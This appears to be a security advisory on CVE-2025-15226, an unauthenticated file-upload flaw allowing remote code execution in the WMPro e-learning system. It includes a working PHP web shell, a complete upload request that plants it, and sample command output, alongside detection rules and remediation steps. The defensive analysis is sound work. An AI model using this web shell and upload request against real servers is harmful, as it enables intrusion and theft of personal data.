Executive Vulnerability Summary
| Field | Details |
|---|---|
| CVE ID | CVE-2025-15226 |
| Vulnerability Name | WMPro Arbitrary File Upload – Unauthenticated RCE |
| CVSS Score | 9.8 (CRITICAL) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Severity | CRITICAL |
| Exploitability | TRIVIAL – No authentication required, low complexity |
| Exploit Availability | Exploitation methodology known (web shell upload) |
| Authentication Required | None |
| User Interaction | None |
| Affected Product | Sunnet WMPro Smart Learning System |
| Affected Versions | 5.0 – 5.2 |
| Vendor | Sunnet Technology (Taiwan) |
| TVN ID | TVN-202512008 |
| Disclosure Date | December 29, 2025 |
| CWE | CWE-434 – Unrestricted Upload of File with Dangerous Type |
| OWASP Top 10 | A04:2021 – Insecure Design, A03:2021 – Injection |
| Related CVE | CVE-2025-15225 (Arbitrary File Read in WMPro) |
Vulnerability Description
The Sunnet WMPro Smart Learning System, a widely used e-learning platform across universities, enterprises, and government institutions in Taiwan and the Asia-Pacific region, contains a critical arbitrary file upload vulnerability that enables unauthenticated remote code execution.
The vulnerability exists due to complete absence of file validation controls within the application’s upload functionality. The affected upload endpoint:
- Does not require authentication
- Performs no file extension validation
- Performs no MIME-type or content inspection
- Stores uploaded files in web-accessible directories
Because of this, any internet-based attacker can upload server-executable scripts such as PHP, ASP, ASPX, or JSP files directly onto the server.
Once uploaded, these files can be accessed through a browser, effectively functioning as web shell backdoors. This allows attackers to execute arbitrary operating system commands with the privileges of the web server process, resulting in full system compromise.
This vulnerability grants attackers persistent access and can be leveraged to:
- Steal student and employee personal data
- Access backend databases
- Modify grades or course content
- Deploy ransomware
- Establish lateral movement within internal networks
The issue affects WMPro versions 5.0 through 5.2 and continues a historical pattern of critical security flaws previously identified in the product.
Impact Analysis
Confidentiality Impact – HIGH
Attackers gain unrestricted access to all application and database data, including:
- Student and staff personal information (PII)
- Grades, exams, assignments
- Administrator credentials
- Database connection strings and secrets
This represents a serious privacy breach with potential regulatory and legal consequences.
Integrity Impact – HIGH
With command execution access, attackers can:
- Modify or delete grades and records
- Alter course materials
- Inject malicious scripts into learning content
- Change system configurations
- Install additional persistent backdoors
The attacker has full control over any resource accessible to the web server user.
Availability Impact – HIGH
Attackers may:
- Delete or encrypt system files
- Corrupt databases
- Deploy ransomware
- Disrupt academic operations
This can lead to complete service outages, halting educational activities for large user populations.
Exploitation Methodology
Exploitation is simple, fast, and requires no advanced skills.
Typical Attack Flow
- Reconnaissance
- Identify publicly accessible WMPro instances via internet scanning, search engine indexing, or targeting known institutions.
- Locate Upload Endpoint
- Upload functionality commonly exists under application paths such as
/teach/,/course/, or other content management modules.
- Upload functionality commonly exists under application paths such as
- Prepare Web Shell
- A minimal PHP web shell can be as small as:
<?php system($_GET['cmd']); ?> - More advanced shells may be used for persistence and obfuscation.
- A minimal PHP web shell can be as small as:
- Upload Malicious File
- Send a crafted
multipart/form-dataPOST request. - No authentication tokens or cookies are required.
- Send a crafted
- Access Uploaded Shell
- The uploaded file is placed in a web-accessible directory and can be executed directly via browser request.
- Execute Commands
- Commands such as
whoami,id, or database file reads confirm access.
- Commands such as
- Persistence & Expansion
- Attackers deploy additional backdoors, create reverse shells, extract credentials, and move laterally.
Proof of Concept (Defensive / Educational Use Only)
Sample Web Shell (shell.php)
<?php
if(isset($_REQUEST["cmd"])){
system($_REQUEST["cmd"]);
die;
}
?>
Upload Request Example
POST /[upload_endpoint] HTTP/1.1
Host: target-wmpro-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET["cmd"]); ?>
------WebKitFormBoundary--
Command Execution
GET /uploads/shell.php?cmd=id
Successful execution confirms RCE:
uid=33(www-data) gid=33(www-data)
MITRE ATT&CK Mapping
| Tactic | Technique ID | Description |
|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application |
| Execution | T1059.004 | Command and Scripting Interpreter (Unix Shell) |
| Persistence | T1505.003 | Server Software Component – Web Shell |
| Credential Access | T1552.001 | Credentials in Files |
| Collection | T1005 | Data from Local System |
| Impact | T1565.001 | Stored Data Manipulation |
Detection Methods
Log Sources to Monitor
- Web server access logs (Apache, Nginx, IIS)
- Web Application Firewall logs
- File Integrity Monitoring (FIM)
- Endpoint Detection & Response (EDR)
- Linux audit logs (
auditd) - Network IDS/IPS and HTTP traffic analysis
Indicators of Compromise (IOCs)
- Newly created
.php,.asp,.aspx,.jspfiles in upload directories - HTTP POST requests using
multipart/form-datato upload endpoints - GET requests containing
cmd=,exec=,shell=,c=parameters - Web server processes spawning
/bin/sh,/bin/bash,cmd.exe - Files containing:
system( exec( shell_exec( passthru( eval( base64_decode( - Outbound connections from the web server to unusual ports
- Sequential upload followed by immediate execution from same IP
Detection Rules
Splunk – Web Shell Upload
index=web sourcetype=access_*
| search http_method=POST
| search uri_path="*upload*" OR uri_path="*file*"
| search uri_path="*.php" OR uri_path="*.asp*" OR uri_path="*.jsp"
| stats count by src_ip, uri_path, http_status
| where count > 1
Splunk – Web Shell Execution
index=web sourcetype=access_*
| search http_method=GET
| search uri_query="*cmd=*" OR uri_query="*exec=*"
| table _time, src_ip, uri_path, uri_query
Sigma Rule – Upload Attempt
title: CVE-2025-15226 WMPro Arbitrary File Upload Attempt
status: experimental
level: high
detection:
selection:
cs-method: POST
cs-uri-stem|contains:
- "/upload"
- "/teach/"
- "/course/"
cs-uri-stem|endswith:
- ".php"
- ".asp"
- ".jsp"
condition: selection
ModSecurity WAF Rule
SecRule REQUEST_METHOD "POST" "id:2025152260,phase:2,deny,log,msg:'CVE-2025-15226 File Upload Attempt'"
SecRule REQUEST_FILENAME "@rx \.(php|asp|aspx|jsp)$" "chain"
SecRule REQUEST_HEADERS:Content-Type "multipart/form-data"
Remediation Steps
- Contact Vendor Immediately
- Obtain and apply the official security patch from Sunnet Technology.
- Restrict Network Exposure
- Remove WMPro from public internet access.
- Enforce VPN or IP allow-listing.
- Disable Upload Endpoints
- Temporarily block upload paths at web server or reverse proxy level.
- Deploy WAF Protections
- Enable blocking rules for executable uploads and command parameters.
- Scan for Existing Compromise
- Audit web directories for unexpected executable files.
- Run YARA scans across upload paths.
- Review Logs
- Identify suspicious POST-then-GET patterns.
- Enable File Integrity Monitoring
- Alert on any new file creation in web-accessible directories.
- Rotate Credentials
- Change all passwords, API keys, database secrets if compromise is suspected.
Official Patch Information (Only Official Sources)
- Vendor Advisory:
Contact Sunnet Technology directly for the official patch and configuration guidance. - TWCERT/CC Advisory (English):
https://www.twcert.org.tw/en/cp-139-10603-67149-2.html - TWCERT/CC Advisory (Chinese):
https://www.twcert.org.tw/tw/cp-132-10602-c1c69-1.html - Vendor Website:
https://www.sun.net.tw/
Final Security Note
CVE-2025-15226 represents a complete compromise risk.
Any unpatched WMPro instance exposed to the internet should be considered actively exploitable and treated as a security emergency.
